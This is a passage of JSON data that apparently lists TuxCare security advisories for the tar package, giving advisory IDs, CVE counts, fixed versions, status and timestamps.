for tar (4 CVEs)","description":"TuxCare rebuilt tar to address 4 CVEs. Fixed in 6.0.2-tuxcare.1.","status":"withdrawn","published":"2026-08-27T09:45:34Z","modified":"2026-10-26T13:21:31Z","updated_at":"2026-11-02T15:43:47.591214Z"},{"id":"CLSA-2026-1792074305","title":"TuxCare security update for tar (12 CVEs)","description":"TuxCare rebuilt tar to address 12 CVEs. Fixed in 6.0.2-tuxcare.6.","status":"published","published":"2026-10-15T14:25:05Z","modified":"2026-10-15T19:00:02.575217399Z","updated_at":"2026-11-02T15:43:50.949147Z"},{"id":"CLSA-2026-1792164662","title":"TuxCare security update for tar (8 CVEs)","description":"TuxCare rebuilt tar to address 8 CVEs. Fixed in 6.1.6-tuxcare.1.","status":"published","published":"2026-10-16T15:31:02Z","modified":"2026-10-16T16:30:59.349131841Z","updated_at":"2026-11-02T15:43:51.747192Z"},{"id":"CLSA-2026-1792369404","title":"TuxCare security update for tar (9 CVEs)","description":"TuxCare rebuilt tar to address 9 CVEs. Fixed in 6.1.0-tuxcare.2.","status":"published","published":"2026-10-19T00:23:24Z","modified":"2026-10-27T01:58:02.886782149Z","updated_at":"2026-11-02T15:43:53.353888Z"},{"id":"CLSA-2026-1793307830","title":"TuxCare security update for tar (11 CVEs)","description":"TuxCare rebuilt tar to address 11 CVEs. Fixed in 4.4.19-tuxcare.5.","status":"published","published":"2026-10-29T22:03:51Z","modified":"2026-10-30T02:15:07.69312809Z","updated_at":"2026-11-02T15:43:55.669514Z"}]}}